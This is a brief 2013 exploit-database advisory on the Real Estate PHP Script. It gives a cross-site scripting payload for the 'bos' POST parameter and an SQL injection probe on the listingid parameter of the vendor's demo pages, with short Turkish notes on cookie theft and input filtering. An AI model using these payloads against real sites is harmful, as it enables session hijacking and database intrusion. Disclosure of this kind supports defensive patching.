Real Estate PHP Script Cross Site Scripting

2013.09.10
Credit: Lazmania61
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

**********************Cross Site Scripting******************* < ------------------- header data start ------------------- > ############################################################# # Application Name : Real Estate Php Script # Vulnerable Type : Post Cross Site Scripting # Infection : Ynetici ve User cookieleri alnabilir. # Bug Fix Advice : Zararl karakterler filtrelenmelidir. # Author : Lazmania61 | Bug Researchers # Example : http://real-estate-php-script.com/demo/search_residential.php ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > Post Parameter Name = bos Post Parameter Value = "><script>alert(document.cookie)</script> < -- bug code end of -- > **********************SqL Injection******************* < ------------------- header data start ------------------- > ############################################################# # Application Name : Real Estate Php Script # Vulnerable Type : SqL Injection # Infection : Ynetici ve User cookieleri alnabilir. # Bug Fix Advice : Zararl karakterler filtrelenmelidir. # Author : Lazmania61 | Bug Researchers # Example : http://real-estate-php-script.com/demo/property_listings_detail.php?listingid=8499 ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > http://real-estate-php-script.com/demo/property_listings_detail.php?listingid=8499a < -- bug code end of -- >

References:

http://cxsecurity.com/issue/WLB-2013080084


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top